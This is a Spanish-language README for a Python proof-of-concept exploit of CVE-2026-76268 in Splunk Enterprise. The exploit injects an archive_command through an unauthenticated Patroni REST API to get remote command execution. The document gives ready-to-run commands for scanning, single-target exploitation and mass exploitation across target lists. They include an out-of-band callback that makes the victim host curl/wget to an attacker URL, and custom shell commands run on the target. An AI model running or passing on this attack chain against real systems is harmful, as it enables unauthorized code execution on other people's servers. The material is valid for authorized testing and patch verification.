
Prueba de concepto en Python para CVE-2026-76268: detecta la API REST de Patroni sin autenticación en los miembros del SHC de Splunk y la explota mediante inyección en archive_command para lograr RCE.
PoC en Python 3 para CVE-2026-76268 — Splunk Enterprise en miembros del clúster de search heads (SHC). Aviso SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Aviso | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Componente | Sidecar de PostgreSQL (Storage) → API REST de Patroni |
| Afectados | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Corrección | 10.2.7, 10.4.3 (y posteriores) |
| No afectados (este CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — falta de autenticación para función crítica |
| CVSS 3.1 | 9.8 Crítico |
| Marcador de verificación | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
En los miembros del SHC de Splunk Enterprise vulnerables, la API REST de Patroni (parte del sidecar de PostgreSQL introducido en Splunk 10.x) acepta solicitudes que modifican el estado sin autenticación. Un atacante con acceso de red al listener de Patroni puede cambiar la configuración dinámica del clúster y desencadenar la ejecución de comandos del sistema operativo mediante parámetros de PostgreSQL como archive_command (cadena PATCH /config + POST /restart de Patroni).
Esta PoC se comunica directamente con Patroni (normalmente TCP 8008, o un puerto asignado por el IPC Broker de Splunk). No utiliza Splunk Web (8000) ni el puerto de gestión de Splunk (8089). Esa es una superficie distinta (por ejemplo, problemas históricos del sidecar a través del proxy de splunkd).
Condiciones previas para un impacto real:
[postgres] está habilitado (disabled = true elimina Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Modo | Propósito |
|---|---|
check (predeterminado) | Encontrar Patroni en puertos comunes; probar PATCH /config sin autenticación |
exploit | Ejecutar la cadena de RCE de Patroni (archive_command + reinicio) |
| Masivo | --list FILE con -j hilos; escribe JSONL + listas opcionales de hits/exploits |
Debes pasar ya sea -t TARGET o --list FILE.
-t / líneas en --list)| Formato | Ejemplo |
|---|---|
| Solo host (escaneo de puertos predeterminado) | 192.168.1.50 |
| Host + puerto | 192.168.1.50:8008 |
| URL completa | http://10.0.0.5:8008 |
Comentarios en archivos de lista: las líneas que comienzan con # se ignoran.
Descubre Patroni y evalúa si los cambios de configuración sin autenticación parecen estar permitidos.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
Qué hace el PoC:
GET /patroni (o /) en cada puerto de --ports (por defecto 8008,8009,8010,18008).PATCH /config con un cuerpo JSON vacío y sin credenciales.exploitable_candidate: true cuando Patroni responde y PATCH no es rechazado con 401/403.Flags útiles:
| Flag | Significado |
|---|---|
--ports | Puertos de Patroni separados por comas a escanear |
--port | Omite el escaneo; usa un solo puerto |
--timeout | Tiempo de espera HTTP (segundos, por defecto 20) |
--proxy | Proxy HTTP(S) para las solicitudes |
--output | Registro JSONL (por defecto cve_2026_76268_results.jsonl) |
--vuln-list | Candidatos separados por tabulaciones (por defecto hits.txt) |
--quiet | Menos salida en consola |
--no-color | Terminal sin color |
Código de salida: 0 si exploitable_candidate es true; en caso contrario 1.
Flujo de trabajo recomendado: check masivo → revisar hits.txt → exploit masivo solo en hosts autorizados.
--mode exploit)Ejecuta la cadena de inyección de configuración de Patroni. Esto modifica la configuración dinámica activa del sidecar/PostgreSQL en el objetivo.
--port).PATCH /config devuelve 401/403.PATCH /config — establece wal_level=replica, archive_mode=always, archive_timeout=1 y tu archive_command.POST /restart — aplica la configuración pendiente de PostgreSQL.--wait-archive (por defecto 3); archive_command se ejecuta en el ciclo de archivado del WAL (no de forma instantánea).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Salidas:
--output — JSONL completo (la explotación masiva usa por defecto cve_2026_76268_exploit.jsonl si mantuvo el nombre predeterminado).--exploited-list — filas donde exploited: true (por defecto exploited.txt).| Indicador | Significado |
|---|---|
--oob URL | URL base; el comando ejecuta curl/wget hacia URL/POCBIT-76268-OK |
--command | Cadena completa de archive_command de PostgreSQL (anula el valor OOB predeterminado) |
--wait-archive | Segundos de espera tras el reinicio antes de que el PoC finalice |
--ports / --port | Descubrimiento de puertos o puerto fijo de Patroni |
--tls | Usar https:// para Patroni (poco común en la documentación predeterminada del sidecar de Splunk) |
Comando predeterminado cuando no se establece ni --oob ni --command:
touch /tmp/POCBIT-76268-OK
Código de salida: 0 cuando se aceptan el PATCH y el reinicio (exploited: true). Eso significa que la cadena fue entregada, no que su callback o prueba de archivo ya se haya disparado. Confirme con comprobaciones OOB o del sistema de archivos en el host.
Importante: Patroni puede ignorar los cambios dinámicos si los mismos parámetros están bloqueados en la configuración local (endurecimiento del proveedor). En ese caso la explotación puede fallar incluso en compilaciones antiguas de Splunk.
-t)Se imprime en stdout (JSON con formato). El modo masivo escribe un objeto JSON por línea.